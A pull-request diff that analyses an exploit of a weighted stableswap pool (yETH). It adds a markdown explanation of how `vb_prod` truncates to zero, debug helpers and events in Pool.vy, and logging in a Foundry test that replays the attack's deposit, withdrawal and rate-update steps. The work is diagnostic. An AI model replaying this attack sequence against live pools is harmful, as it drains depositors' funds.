Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
49 changes: 49 additions & 0 deletions VBPROD_ZERO.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,49 @@
# vb_prod → 0 issue (quick note)

## What happens
- Two trigger paths to `vb_prod = 0`:
- **Multi-step path (attack POC)**: Imbalanced adds/withdraws shrink `vb_prod` to tiny (~3.53e15). `_calc_supply` then overshoots (sp0 ≈ 1.09e22), collapses (sp1 ≈ 4.42e17), and `r = r * sp / s` truncates to 0.
- **Single-call path**: One huge, weight-balanced add makes `_pow_up` return 0 for an asset; `vb_prod_final` becomes 0 before `_calc_supply` runs.

## How to validate
1) Run the diagnostic test that rebuilds the attack state and shows the zeroing step:
```
forge test -vv --match-test test_calc_supply_zeroes_small_prod
```
- It asserts pow-up leaves `vb_prod` ≈ `3_527_551_366_992_573` (non-zero).
- It calls `debug_calc_supply_two_iters` and checks:
- After iteration 1: `sp0 ≈ 1.09e22`, `r0 > 0`.
- After iteration 2: `sp1 ≈ 4.42e17`, `r1 == 0` (truncated in `_calc_supply`).

2) If you want to see the raw helpers:
- `debug_vb_prod_step` mirrors the pow-up update per asset (shows the small-but-nonzero product).
- `debug_calc_supply_two_iters` runs the first two `_calc_supply` iterations and returns `(sp0, r0, sp1, r1)`.

Files involved: `src/Pool.vy` (debug helpers), `test/VbProdAnalysis.t.sol` (diagnostic test), `test/interfaces/IPool.sol` (exposes helpers).***

## Why this state is reachable (pre-fifth add, multi-step path)
- Bands are effectively disabled (constructor sets lower/upper to `PRECISION`, which unpacks to limits > weight), so extreme imbalance is allowed.
- Repeated balanced `remove_liquidity` calls shrink all vbs, especially already-small assets (3, 6, 7).
- Adds before the 5th call top up only 0/1/2/4/5; assets 3/6/7 stay tiny.
- Just before the 5th add, vbs are:
0: 6.849e20, 1: 6.849e20, 2: 4.104e20, 3: 3.53e18, 4: 4.104e20, 5: 5.491e20, 6: 6.56e17, 7: 6.30e17; supply ≈ 2.514e21.
- The 5th add dumps ~1.6–2.7e21 into 0/1/2/4/5 (≈4x on several). `prev_vb/vb ≈ 0.25`, `wn` = 1.6, 1.6, 0.8, 0.8, 2.0. Pow-up multipliers: ~0.11, 0.11, 0.33, 0.33, 0.063 → vb_prod from 4.22e19 → ~3.53e15 (non-zero).
- `_calc_supply` then zeroes `vb_prod` in the second iteration (sp0 ≈ 1.09e22 → sp1 ≈ 4.42e17; `r` truncates to 0).

## Per-asset contributions (from real logs)
- POC 5th add (multi-step path), `DebugAddLiquidityAsset` events:
- asset0 pow_up ≈ 0.1099e18 → vb_prod_after 4.64e18
- asset1 pow_up ≈ 0.1099e18 → vb_prod_after 5.10e17
- asset2 pow_up ≈ 0.3314e18 → vb_prod_after 1.69e17
- asset4 pow_up ≈ 0.3314e18 → vb_prod_after 5.60e16
- asset5 pow_up ≈ 0.0630e18 → vb_prod_after 3.53e15 (small-but-nonzero before `_calc_supply`)
- assets 3/6/7 skipped (zero deposit)
- Single-call huge balanced add, `DebugAddLiquidityAsset` events:
- asset0 pow_up 3.58e14 → vb_prod_after 4.36e14
- asset1 1.58e14 → 6.90e10
- asset2 1.25e16 → 8.65e8
- asset3 1.66e16 → 1.44e7
- asset4 1.33e16 → 1.92e5
- asset5 4.53e13 → 8
- asset6 3.39e17 → 2
- asset7 3.36e17 → **0** (vb_prod hits zero in pow-up loop)
82 changes: 79 additions & 3 deletions src/Pool.vy
Original file line number Diff line number Diff line change
Expand Up @@ -41,6 +41,10 @@ packed_pool_vb: uint256 # vb_prod (128) | vb_sum (128)
# vb_prod: pi, product term `product((w_i * D / x_i)^(w_i n))`
# vb_sum: sigma, sum term `sum(x_i)`

# Debug helpers (testing/analysis)
debug_vb_prod_before_calc: public(uint256)
debug_vb_sum_before_calc: public(uint256)

event Swap:
account: indexed(address)
receiver: address
Expand Down Expand Up @@ -71,6 +75,23 @@ event RateUpdate:
asset: indexed(uint256)
rate: uint256

# Debug events (testing/analysis)
event DebugAddLiquidityPre:
vb_prod: uint256
vb_sum: uint256
prev_supply: uint256

event DebugAddLiquidityPost:
vb_prod: uint256
vb_sum: uint256
supply: uint256
mint: uint256

event DebugAddLiquidityAsset:
asset: indexed(uint256)
pow_up: uint256
vb_prod_after: uint256

event Pause:
account: indexed(address)

Expand Down Expand Up @@ -471,7 +492,9 @@ def add_liquidity(
wn: uint256 = self._unpack_wn(packed_weight, num_assets)

# update product and sum of virtual balances
vb_prod_final = vb_prod_final * self._pow_up(prev_vb * PRECISION / vb, wn) / PRECISION
pow_val: uint256 = self._pow_up(prev_vb * PRECISION / vb, wn)
vb_prod_final = vb_prod_final * pow_val / PRECISION
log DebugAddLiquidityAsset(asset, pow_val, vb_prod_final)
# the `D^n` factor will be updated in `_calc_supply()`
vb_sum_final += dvb

Expand Down Expand Up @@ -500,6 +523,9 @@ def add_liquidity(
j = unsafe_add(j, 1)

# mint LP tokens
self.debug_vb_prod_before_calc = vb_prod_final
self.debug_vb_sum_before_calc = vb_sum_final
log DebugAddLiquidityPre(vb_prod_final, vb_sum_final, prev_supply)
supply, vb_prod = self._calc_supply(num_assets, supply, self.amplification, vb_prod, vb_sum, prev_supply == 0)
mint: uint256 = supply - prev_supply
assert mint > 0 and mint >= _min_lp_amount, "slippage"
Expand All @@ -517,6 +543,7 @@ def add_liquidity(

self.supply = supply_final
self.packed_pool_vb = self._pack_pool_vb(vb_prod_final, vb_sum_final)
log DebugAddLiquidityPost(vb_prod_final, vb_sum_final, supply_final, mint)

return mint

Expand Down Expand Up @@ -702,6 +729,54 @@ def vb_prod_sum() -> (uint256, uint256):
"""
return self._unpack_pool_vb(self.packed_pool_vb)

@external
@view
def debug_calc_supply(_supply: uint256, _vb_prod: uint256, _vb_sum: uint256, _up: bool) -> (uint256, uint256):
"""
@notice Debug helper to run _calc_supply with supplied inputs
@dev Used only for testing/analysis; does not mutate state
"""
return self._calc_supply(self.num_assets, _supply, self.amplification, _vb_prod, _vb_sum, _up)

@external
@view
def debug_calc_supply_two_iters(_supply: uint256, _vb_prod: uint256, _vb_sum: uint256) -> (uint256, uint256, uint256, uint256):
"""
@notice Debug helper: run the first two iterations of _calc_supply and return r after each
@dev Mirrors the arithmetic of _calc_supply (no rounding tweak/early exit) to pinpoint where r drops to zero
"""
num_assets: uint256 = self.num_assets
l: uint256 = self.amplification * _vb_sum
d: uint256 = unsafe_sub(self.amplification, PRECISION)

s0: uint256 = _supply
r0: uint256 = _vb_prod
sp0: uint256 = unsafe_div(unsafe_sub(l, unsafe_mul(s0, r0)), d)
for _ in range(MAX_NUM_ASSETS):
if _ == num_assets:
break
r0 = unsafe_div(unsafe_mul(r0, sp0), s0)

s1: uint256 = sp0
r1: uint256 = r0
sp1: uint256 = unsafe_div(unsafe_sub(l, unsafe_mul(s1, r1)), d)
for _ in range(MAX_NUM_ASSETS):
if _ == num_assets:
break
r1 = unsafe_div(unsafe_mul(r1, sp1), s1)

return sp0, r0, sp1, r1

@external
@view
def debug_vb_prod_step(_prev_vb: uint256, _new_vb: uint256, _packed_weight: uint256, _prod: uint256, _num_assets: uint256) -> uint256:
"""
@notice Debug helper to apply the vb_prod update for a single asset
@dev Mirrors the `vb_prod_final` update inside add_liquidity; does not mutate state
"""
wn: uint256 = self._unpack_wn(_packed_weight, _num_assets)
return _prod * self._pow_up(_prev_vb * PRECISION / _new_vb, wn) / PRECISION

@external
@view
def virtual_balance(_asset: uint256) -> uint256:
Expand Down Expand Up @@ -1271,8 +1346,9 @@ def _calc_supply(
assert s > 0
# --------
# NOTE: Using safe math on the line below causes `test_attack` to revert.
sp: uint256 = unsafe_div(unsafe_sub(l, unsafe_mul(s, r)), d) # D[m+1] = (l - s * r) / d
#sp: uint256 = unsafe_div(unsafe_sub(l, unsafe_mul(s, r)), d) # D[m+1] = (l - s * r) / d
# sp: uint256 = (l - s * r) / d # D[m+1] = (l - s * r) / d
sp: uint256 = (l - s * r) / d # D[m+1] = (l - s * r) / d
# --------

# update product term pi[m+1] = (D[m+1]/D[m])^n pi[m]
Expand Down Expand Up @@ -1722,4 +1798,4 @@ def __exp(_x: int256) -> int256:
c = unsafe_add(c, n)

# p * c / E20 * f / 100
return unsafe_div(unsafe_mul(unsafe_div(unsafe_mul(p, c), E20), f), 100)
return unsafe_div(unsafe_mul(unsafe_div(unsafe_mul(p, c), E20), f), 100)
35 changes: 31 additions & 4 deletions test/Hack.t.sol
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,8 @@ import "forge-std/Test.sol";

contract HackTests is Test {

bytes32 constant DEBUG_ASSET = keccak256("DebugAddLiquidityAsset(uint256,uint256,uint256)");

bytes localCode;
bytes newDeployedCode;

Expand Down Expand Up @@ -99,7 +101,9 @@ contract HackTests is Test {
rates[5] = 5;
rates[6] = 0;
rates[7] = 0;
console.log("Supply before first update_rates (YETH.totalSupply())", YETH.totalSupply());
POOL.update_rates(rates);
console.log("Supply after first update_rates (YETH.totalSupply())", YETH.totalSupply());

uint256 balance;
(uint256 prod, uint256 sum) = POOL.vb_prod_sum();
Expand Down Expand Up @@ -226,8 +230,23 @@ contract HackTests is Test {
addAmounts[5] = 1488254960317842892500;
addAmounts[6] = 0;
addAmounts[7] = 0;
vm.recordLogs();
receivedyETH = POOL.add_liquidity(addAmounts, 0, bad_tapir);
console.log("received yETH", receivedyETH);

// Debug: capture vb_prod_final / vb_sum_final before _calc_supply in this add
console.log("debug vb_prod_before_calc", POOL.debug_vb_prod_before_calc());
console.log("debug vb_sum_before_calc", POOL.debug_vb_sum_before_calc());

Vm.Log[] memory logsAsset = vm.getRecordedLogs();
for (uint256 i = 0; i < logsAsset.length; i++) {
Vm.Log memory lg = logsAsset[i];
if (lg.topics.length > 0 && lg.topics[0] == DEBUG_ASSET) {
uint256 assetIdx = uint256(lg.topics[1]);
(uint256 powUp, uint256 prodAfter) = abi.decode(lg.data, (uint256, uint256));
console.log("fifth add asset", assetIdx, powUp, prodAfter);
}
}

(prod, sum) = POOL.vb_prod_sum();
console.log("vb_prod after fifth add_liquidity", prod);
Expand All @@ -242,25 +261,30 @@ contract HackTests is Test {
addAmounts[5] = 0;
addAmounts[6] = 0;
addAmounts[7] = 0;
console.log("Supply before sixth add_liquidity", POOL.supply());
receivedyETH = POOL.add_liquidity(addAmounts, 0, bad_tapir);
console.log("received yETH", receivedyETH);

(prod, sum) = POOL.vb_prod_sum();
console.log("vb_prod after sixth add_liquidity", prod);
console.log("vb_sum after sixth add_liquidity", sum);

console.log("Supply after sixth add_liquidity", POOL.supply());
// Fifth remove_liquidity
POOL.remove_liquidity(0, new uint256[](8), bad_tapir);

(prod, sum) = POOL.vb_prod_sum();
console.log("vb_prod after remove_liquidity(0)", prod);
console.log("vb_sum after remove_liquidity(0)", sum);

console.log("Supply before update_rates", POOL.supply());
// Update rates with asset index 6
uint256[] memory rates2 = new uint256[](1);
rates2[0] = 6;
console.log("Supply before second update_rates (YETH.totalSupply())", YETH.totalSupply());
POOL.update_rates(rates2);

console.log("Supply after second update_rates (YETH.totalSupply())", YETH.totalSupply());
console.log("Supply after second update_rates (POOL.supply())", POOL.supply());

(prod, sum) = POOL.vb_prod_sum();
console.log("vb_prod after update_rates", prod);
console.log("vb_sum after update_rates", sum);
Expand Down Expand Up @@ -335,8 +359,9 @@ contract HackTests is Test {

// Update rates with asset index 6
rates2[0] = 6;
console.log("Supply before third update_rates (YETH.totalSupply())", YETH.totalSupply());
POOL.update_rates(rates2);

console.log("Supply after third update_rates (YETH.totalSupply())", YETH.totalSupply());
(prod, sum) = POOL.vb_prod_sum();
console.log("vb_prod after update_rates", prod);
console.log("vb_sum after update_rates", sum);
Expand Down Expand Up @@ -405,7 +430,9 @@ contract HackTests is Test {

// Update rates with asset index 7
rates2[0] = 7;
console.log("Supply before fourth update_rates (meth) (YETH.totalSupply())", YETH.totalSupply());
POOL.update_rates(rates2);
console.log("Supply after fourth update_rates (YETH.totalSupply())", YETH.totalSupply());

(prod, sum) = POOL.vb_prod_sum();
console.log("vb_prod after update_rates", prod);
Expand Down Expand Up @@ -437,4 +464,4 @@ contract HackTests is Test {
console.log("vb_prod after FINAL ADD_LIQUIDITY", prod);
console.log("vb_sum after FINAL ADD_LIQUIDITY", sum);
}
}
}
Loading